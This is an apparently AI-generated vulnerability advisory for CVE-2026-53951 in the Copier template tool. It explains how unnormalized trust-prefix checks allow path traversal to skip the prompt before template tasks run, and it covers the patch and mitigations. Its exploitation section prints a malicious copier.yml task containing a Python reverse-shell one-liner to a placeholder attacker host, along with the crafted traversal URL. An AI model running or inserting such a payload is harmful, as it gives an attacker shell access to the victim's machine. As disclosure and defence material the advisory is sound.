CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-53951

CVE-2026-53951: Trust-Prefix Bypass via Path Traversal leading to Remote Code Execution in Copier

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 20, 2026·6 min read·20 visits

Executive Summary (TL;DR)

Copier's template trust validation fails to normalize repository paths prior to evaluating prefix trust lists, permitting attackers to bypass safety verification prompts and execute arbitrary lifecycle tasks through path traversal payloads.

A security vulnerability in Copier versions 9.5.0 through 9.15.1 allows unauthenticated remote code execution via crafted HTTP requests or local paths containing traversal sequences. The trust-evaluation mechanism compares target repository paths or URLs against trusted prefixes using unnormalized string comparison, while the subsequent fetching mechanism normalizes the path before cloning. Attackers can exploit this asymmetry to bypass security warning prompts and execute arbitrary commands under the local user context.

Vulnerability Overview

Copier is a Python-based library and Command-Line Interface (CLI) application designed for rendering project templates. It supports automated lifecycle hooks, such as executing post-generation tasks, running migrations, and running custom Jinja extensions. To protect users from running untrusted scripts, Copier prompts for confirmation before executing these potentially hazardous functions. Users can suppress these prompts by configuring a list of trusted paths or repository URL prefixes.

In Copier versions 9.5.0 through 9.15.1, the trust-verification mechanism contains a logical defect. The application determines trust by checking if the user-supplied template path starts with a trusted prefix using a simple string comparison. However, when the template is actually fetched, the download engine performs path normalization to resolve relative path segments. This discrepancy in how the path is handled at different stages of the application lifecycle introduces a significant security boundary bypass.

An attacker can construct a malicious template URL that matches a trusted prefix textually but resolves to an attacker-controlled repository through directory traversal sequences. By distributing this crafted URL, the attacker bypasses the trust prompt, leading to silent command execution on the victim's local machine with the privileges of the running shell process.

Root Cause Analysis

The underlying security flaw stems from an validation-versus-execution asymmetry. The prefix verification logic is implemented in copier/_settings.py via raw, unnormalized string prefix checks. The system iterates over the defined trusted prefixes and evaluates whether the input path starts with any of them. The validation code behaves as follows:

$$\text{Validation Phase (Raw String Evaluation)} \neq \text{Fetching Phase (Canonical Normalization)}$$

During the verification phase, an input URL such as https://github.com/trusted-org/../attacker-org/malicious-repo.git matches the prefix https://github.com/trusted-org/ because the evaluation uses simple prefix checking without resolving the path. Consequently, the application marks the source repository as safe, bypassing the user-approval process.

When the application retrieves the template, the fetch component normalizes the path. For local paths, the resolution is performed via pathlib.Path.resolve(), which resolves symbolic links and collapses relative segments. For remote URLs, the underlying fetch wrapper rumdl processes the remote target, removing dot-segments in accordance with RFC 3986 section 5.2.4. This results in the client fetching from https://github.com/attacker-org/malicious-repo.git instead of the trusted repository.

This workflow demonstrates that the sanitization process is deferred until after the access control decision has been made, presenting a classic path traversal bypass (CWE-22) that results in downstream code execution (CWE-94).

Code Analysis

To resolve the path traversal flaw, the underlying transport library rumdl was upgraded from version 0.1.91 to 0.2.5 to enforce strict URL validation and path-segment resolution prior to string verification.

Additionally, multiple adjacent code-level issues were resolved in Copier version 9.15.2 to secure the application. In copier/_tools.py, a parsing flaw in the boolean-casting routine allowed whitespace-only strings to evaluate as truthy, which triggered automated tasks incorrectly. The patch forces string trimming and evaluates blank strings as falsy:

# File: copier/_tools.py
# Before the patch, any non-empty string was evaluated as True.
# After the patch, whitespace is removed and empty strings resolve to False.
 
def cast_to_bool(value: Any) -> bool:
    if isinstance(value, bool):
        return value
    with suppress(AttributeError):
        lower = value.strip().lower()  # Added .strip() to remove leading/trailing whitespace
        if not lower:                  # Explicitly check for empty strings
            return False
        if lower in {"y", "yes", "t", "true", "on"}:
            return True
    return False

The application also updated the way template answers are parsed in copier/_main.py. The updated code restricts how answers paths are resolved, preventing template files located inside subdirectories from writing to unverified paths on the filesystem:

# File: copier/_main.py
# Hardens answers file handling to prevent directory traversal
 
def _render_parts(self, extra_context):
    # ... configuration and rendering logic
    for value in ctx.yield_iterable or ():
        new_context = {**extra_context, yield_name: value}
        rendered_part = self._render_string(part, extra_context=new_context)
        # Ensures only matching relative answer paths are written
        if str(self.answers_relpath) == rendered_part:
            yield self.answers_relpath, new_context
            continue

These modifications collectively block directory traversal vectors, ensuring that both local configurations and remote fetches are evaluated consistently.

Exploitation Methodology

An attack scenario requires that the target user has configured a trusted prefix directory or repository pattern in their Copier configurations. This configuration is stored in the user settings file:

# ~/.config/copier/settings.yaml
trusted_prefixes:
  - "https://github.com/trusted-organization/"

An attacker creates a repository named malicious-template on an external organization profile. The repository contains a configuration file copier.yml configured to trigger tasks upon completion:

# copier.yml inside the malicious template
_tasks:
  - command: python3 -c "import os, socket, subprocess; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('attacker-controlled-host', 4444)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p=subprocess.call(['/bin/sh', '-i'])"

The attacker induces the victim to run the template generation command with a crafted URL containing traversal components:

copier copy "https://github.com/trusted-organization/../attacker-organization/malicious-template.git" ./destination

During execution, the prefix evaluation module checks if the string starts with https://github.com/trusted-organization/. Since the condition is satisfied, the application bypasses the interactive security prompt. The fetching module then resolves the dot-segments and retrieves the malicious template, which immediately runs the reverse shell payload with the privileges of the active local user.

Impact Assessment

This vulnerability is classified as High severity, with a CVSS v4.0 score of 8.8. The score reflects high confidentiality, integrity, and availability impacts on both the local environment and downstream systems due to full command execution.

The primary vector is local execution through a remote-fetched template. Although exploitation requires the victim to run the command, the absence of any warning prompt represents a significant security failure in trusted environments.

The attack enables full shell control. If the user running the command has administrative or access permissions to cloud providers, source control management APIs, or production databases, the attacker can leverage the compromised environment to access credentials, exfiltrate private codebases, or compromise continuous integration and deployment pipelines.

Remediation and Mitigation

The primary remediation strategy is upgrading Copier to version 9.15.2 or later. This upgrade addresses the directory traversal vulnerability within the dependency framework and enforces correct path validation.

In environments where upgrading is not immediately possible, security teams can implement operational workarounds to eliminate the attack vector. Users should remove or disable the trusted_prefixes entry inside their global settings file, which forces Copier to prompt for authorization on every execution:

# ~/.config/copier/settings.yaml
# Disable trusted prefixes to enforce user prompts for all tasks
trusted_prefixes: []

Additionally, automated infrastructure workflows should avoid running Copier with configuration-based trust assumptions. Templates should be explicitly pinned to specific cryptographic commit hashes within controlled, private container registries.

Technical Appendix

CVSS Score
8.8/ 10
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
EPSS Probability
0.19%
Top 91% most exploited

Affected Systems

Copier Library and CLI Application

Affected Versions Detail

Product
Affected Versions
Fixed Version
Copier
copier-org
>= 9.5.0, <= 9.15.19.15.2
AttributeDetail
CWE IDCWE-22, CWE-94
Attack VectorLocal / Remote Fetching
CVSS Base Score8.8 (High)
Exploit Statuspoc
KEV StatusNot Listed
Affected Versions>= 9.5.0, <= 9.15.1

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploit Public-Facing Application
Initial Access
CWE-22
Improper Limitation of a Pathname to a Restricted Directory

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Vulnerability Timeline

Copier v9.15.2 released
2026-06-12
GitHub Security Advisory (GHSA-9gmc-jqmh-3rvm) published
2026-07-08
NVD Database record updated
2026-07-10

References & Sources

  • [1]Official GitHub Release (v9.15.2)
  • [2]GitHub Security Advisory (GHSA-9gmc-jqmh-3rvm)
  • [3]National Vulnerability Database (NVD) Record
  • [4]CVE.org Record
  • [5]Core Commit (v9.15.1 -> v9.15.2 Release)
  • [6]Subsequent dependency update (rumdl 0.2.5)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•20 minutes ago•GHSA-7MR3-28H5-M5VX
7.7

GHSA-7mr3-28h5-m5vx: Authorization Bypass and Cross-Project Volume Copy in Canonical LXD

An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.

Alon Barad
Alon Barad
1 views•10 min read
•about 1 hour ago•GHSA-47W9-6R3F-938G
9.9

GHSA-47w9-6r3f-938g: Authorization Bypass and Host Root Command Execution in Canonical LXD and Incus

A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.

Alon Barad
Alon Barad
3 views•11 min read
•about 2 hours ago•GHSA-JPF8-86F3-WP38
9.9

CVE-2026-48752: Arbitrary Host File Read and Write via Templates Symlink in Canonical LXD and Incus

A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.

Amit Schendel
Amit Schendel
4 views•10 min read
•1 day ago•CVE-2026-12411
8.4

CVE-2026-12411: Cross-Guest Volume Hijack via DevLXD Device PATCH in Canonical LXD

CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.

Amit Schendel
Amit Schendel
7 views•10 min read
•1 day ago•CVE-2026-105769
9.3

CVE-2026-105769: Azure Entra ID Token Exfiltration in Kaniko via Unanchored ACR Hostname Regex

CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.

Amit Schendel
Amit Schendel
11 views•11 min read
•1 day ago•CVE-2026-62300
6.5

CVE-2026-62300: Uncontrolled Resource Consumption in filecoin-pin Daemon

CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.

Amit Schendel
Amit Schendel
9 views•11 min read